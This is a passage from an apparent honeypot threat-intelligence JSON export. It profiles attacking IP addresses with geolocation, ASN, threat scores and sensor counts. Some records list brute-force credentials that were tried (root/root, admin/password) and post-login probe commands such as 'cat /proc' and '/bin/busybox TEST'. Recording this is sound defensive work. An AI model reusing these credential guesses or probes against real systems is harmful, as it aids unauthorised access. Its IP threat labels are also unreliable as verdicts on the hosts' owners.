        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:21:01.636000+00:00",
        "last_seen_30d": "2026-05-12T04:05:05.091000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "176.65.148.233": {
      "attack_count": 15,
      "first_seen": "2026-05-29T09:30:34.546Z",
      "last_seen": "2026-05-29T09:30:40.669Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "",
        "root"
      ],
      "commands_executed": [
        "./",
        "/bin/busybox TEST",
        "cat /proc",
        "echo SHELL_TEST"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Eygelshoven",
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T09:30:34.546000+00:00",
        "last_seen_30d": "2026-05-29T09:32:11.863000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 4
      }
    },
    "200.199.186.208": {
      "attack_count": 14,
      "first_seen": "2026-05-13T03:38:25.721Z",
      "last_seen": "2026-05-13T03:45:02.153Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Fortaleza",
      "asn": 7738,
      "as_org": "V tal",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T03:38:25.721000+00:00",
        "last_seen_30d": "2026-05-13T03:46:23.506000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 20,
        "Cowrie": 14
      }
    },
    "101.96.202.144": {
      "attack_count": 12,
      "first_seen": "2026-05-09T21:39:45.809Z",
      "last_seen": "2026-05-09T21:41:48.970Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "---fuck_you----",
        "root123456"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:39:45.809000+00:00",
        "last_seen_30d": "2026-05-09T21:51:55.864000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 7
      }
    },
    "213.202.208.191": {
      "attack_count": 12,
      "first_seen": "2026-05-10T02:20:54.961Z",
      "last_seen": "2026-05-12T02:54:18.099Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Nordhorn",
      "asn": 24961,
      "as_org": "WIIT AG",
      "threat_score": 9.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:20:54.961000+00:00",
        "last_seen_30d": "2026-05-12T02:55:19.744000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "31.42.189.159": {
      "attack_count": 12,
      "first_seen": "2026-05-10T01:41:17.940Z",
      "last_seen": "2026-05-10T19:05:06.068Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Dronten",
      "asn": 50673,
      "as_org": "Serverius Holding B.V.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T01:41:17.940000+00:00",
        "last_seen_30d": "2026-05-10T19:06:09.308000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "78.111.67.162": {
      "attack_count": 12,
      "first_seen": "2026-05-19T01:10:14.107Z",
      "last_seen": "2026-05-30T23:52:39.209Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 33984,
      "as_org": "Surfplanet GmbH",
      "threat_score": 33.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T01:10:14.107000+00:00",
        "last_seen_30d": "2026-05-30T23:53:47.369000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "192.42.116.118": {
      "attack_count": 10,
      "first_seen": "2026-05-20T17:19:09.806Z",
      "last_seen": "2026-05-22T19:51:11.227Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support"
      ],
      "passwords_attempted": [
        "Itsemoemo2026@Washere2026",
        "ItsemoemoWashere2023support"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 215125,
      "as_org": "Church of Cyberology",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T17:19:09.806000+00:00",
        "last_seen_30d": "2026-05-22T19:52:13.042000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "34.53.164.145": {
      "attack_count": 10,
      "first_seen": "2026-05-19T08:55:38.982Z",
      "last_seen": "2026-05-19T08:55:48.654Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T08:55:38.982000+00:00",
        "last_seen_30d": "2026-05-19T08:56:53.419000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "89.43.135.13": {
      "attack_count": 10,
      "first_seen": "2026-05-24T01:33:28.623Z",
      "last_seen": "2026-05-24T01:39:38.972Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 19.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:33:28.623000+00:00",
        "last_seen_30d": "2026-05-24T01:41:06.503000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "20.64.105.236": {
      "attack_count": 7,
      "first_seen": "2026-05-10T20:24:15.360Z",
      "last_seen": "2026-05-10T20:24:25.360Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.1,
        "persistence": 25,
        "diversity": 16,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 30,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T02:18:31.589000+00:00",
        "last_seen_30d": "2026-05-31T17:30:38.263000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 7,
        "Honeytrap": 7,
        "ElasticPot": 1
      }
    },
    "175.148.159.190": {
      "attack_count": 6,
      "first_seen": "2026-05-12T23:53:33.749Z",
      "last_seen": "2026-05-12T23:54:36.106Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 9.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T23:53:33.749000+00:00",
        "last_seen_30d": "2026-05-12T23:55:42.129000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.255.100.248": {
      "attack_count": 6,
      "first_seen": "2026-05-08T04:38:49.570Z",
      "last_seen": "2026-05-08T04:38:51.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 9009,
      "as_org": "M247 Europe SRL",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T04:38:49.570000+00:00",
        "last_seen_30d": "2026-05-08T04:39:59.508000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "195.184.76.65": {
      "attack_count": 6,
      "first_seen": "2026-05-06T08:30:14.237Z",
      "last_seen": "2026-05-06T08:30:40.688Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Warrenton",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 83.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 104,
        "days_active_30d": 28,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-04T00:59:31+00:00",
        "last_seen_30d": "2026-05-31T05:27:19.154000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 34,
        "Cowrie": 6,
        "ConPot": 3
      }
    },
    "34.78.159.238": {
      "attack_count": 6,
      "first_seen": "2026-05-31T02:26:11.647Z",
      "last_seen": "2026-05-31T02:26:31.422Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T02:26:11.647000+00:00",
        "last_seen_30d": "2026-05-31T02:27:38.832000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "37.187.118.2": {
      "attack_count": 6,
      "first_seen": "2026-05-14T05:19:35.763Z",
      "last_seen": "2026-05-14T05:19:43.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:19:35.763000+00:00",
        "last_seen_30d": "2026-05-14T05:20:54.258000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "66.132.195.45": {
      "attack_count": 6,
      "first_seen": "2026-05-06T16:40:35.523Z",
      "last_seen": "2026-05-06T16:41:11.289Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 155,
        "days_active_30d": 30,
        "ports_targeted_30d": 45,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-02T01:39:45+00:00",
        "last_seen_30d": "2026-05-31T22:03:53.050000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 85,
        "Honeytrap": 50,
        "Ciscoasa": 6,
        "Cowrie": 6,
        "Dionaea": 5,
        "Adbhoney": 2,
        "Dicompot": 1
      }
    },
    "109.130.28.131": {
      "attack_count": 4,
      "first_seen": "2026-05-23T13:59:38.917Z",
      "last_seen": "2026-05-23T14:01:45.776Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 5432,
      "as_org": "Proximus NV",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T13:59:38.917000+00:00",
        "last_seen_30d": "2026-05-23T14:12:33.756000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "122.237.19.155": {
      "attack_count": 4,
      "first_seen": "2026-05-22T11:39:55.906Z",
      "last_seen": "2026-05-22T11:40:49.461Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T11:39:55.906000+00:00",
        "last_seen_30d": "2026-05-22T11:41:53.793000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "171.114.226.154": {
      "attack_count": 4,
      "first_seen": "2026-05-22T18:45:42.988Z",
      "last_seen": "2026-05-23T04:47:26.394Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T18:45:42.988000+00:00",
        "last_seen_30d": "2026-05-23T04:48:33.854000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "172.202.117.124": {
      "attack_count": 4,
      "first_seen": "2026-05-13T05:40:45.165Z",
      "last_seen": "2026-05-13T05:40:55.700Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Des Moines",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 57.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 14.9,
        "persistence": 19.2,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 31,
        "days_active_30d": 23,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-06T19:10:52+00:00",
        "last_seen_30d": "2026-05-28T21:39:28.850000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 19,
        "Honeytrap": 6,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "18.205.150.207": {
      "attack_count": 4,
      "first_seen": "2026-05-08T00:52:28.903Z",
      "last_seen": "2026-05-08T00:52:34.382Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-08T00:52:28.903000+00:00",
        "last_seen_30d": "2026-05-14T00:52:27.248000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4,
        "Honeytrap": 1
      }
    },
    "198.235.24.196": {
      "attack_count": 4,
      "first_seen": "2026-05-02T22:24:56.810Z",
      "last_seen": "2026-05-02T22:25:00.667Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 17.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T22:24:51.145000+00:00",
        "last_seen_30d": "2026-05-31T01:24:48.580000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 16,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "65.49.1.177": {
      "attack_count": 4,
      "first_seen": "2026-05-16T00:51:05.195Z",
      "last_seen": "2026-05-16T00:51:09.324Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 84.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 15.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 28,
        "ports_targeted_30d": 16,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-04T03:14:15.372000+00:00",
        "last_seen_30d": "2026-05-31T01:42:07.763000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 30,
        "Cowrie": 4,
        "Honeyaml": 1,
        "Honeytrap": 1,
        "Tanner": 1
      }
    },
    "103.203.66.121": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:47:16.978Z",
      "last_seen": "2026-05-23T10:47:49.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 133662,
      "as_org": "SHREENET",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:47:16.978000+00:00",
        "last_seen_30d": "2026-05-23T10:48:58.862000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.154.106.211": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:53:05.198Z",
      "last_seen": "2026-05-11T18:53:17.851Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Fes",
      "asn": 36903,
      "as_org": "MT-MPLS",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:53:05.198000+00:00",
        "last_seen_30d": "2026-05-11T18:54:26.374000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "105.157.34.50": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:45:26.175Z",
      "last_seen": "2026-05-06T11:45:38.253Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
